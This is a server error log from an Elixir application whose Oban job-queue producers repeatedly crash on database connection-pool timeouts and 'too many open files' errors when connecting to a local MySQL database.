** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:57:28.247011Z], limit: 20, uuid: "b3021a06-1d9c-4690-8cfb-5014c06c5e33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:28.247017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246197>, refresh_timer: #Reference<0.2525715032.1068236804.246196>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:57:28.245009Z], limit: 5, uuid: "d7e5d90c-d5ae-456b-8370-156fed0fc9b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:28.245014Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246198>, refresh_timer: #Reference<0.2525715032.1068236804.246189>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:57:28.241334Z], limit: 5, uuid: "5f8df7f7-4ccd-46a6-86ce-f40fa6cd16ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:28.241340Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254018>, refresh_timer: #Reference<0.2525715032.1077411843.226500>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:57:28.240829Z], limit: 3, uuid: "4dafd004-4c91-4500-992b-d1f76b4e7103", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:28.240835Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254019>, refresh_timer: #Reference<0.2525715032.1077411843.226491>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:57:28.241865Z], limit: 50, uuid: "a4558f47-2c6f-42af-881d-caef3cbada90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:28.241871Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246199>, refresh_timer: #Reference<0.2525715032.1077411843.226509>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:57:28.243433Z], limit: 10, uuid: "d68dbad1-d4de-4c13-896f-fadb1a363110", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:28.243441Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254017>, refresh_timer: #Reference<0.2525715032.1077411843.226528>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:40.889000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:41.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:41.742000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:41.886000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:44.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:46.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:50.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:57:40.244370Z], limit: 10, uuid: "f8a3adfb-28bc-418e-ba3b-443798e6a2ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:40.244376Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254382>, refresh_timer: #Reference<0.2525715032.1099169794.254381>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:57:40.239171Z], limit: 20, uuid: "e337046c-9cf7-4bdf-baec-ae02469efc9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:40.239181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246345>, refresh_timer: #Reference<0.2525715032.1068236804.246320>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
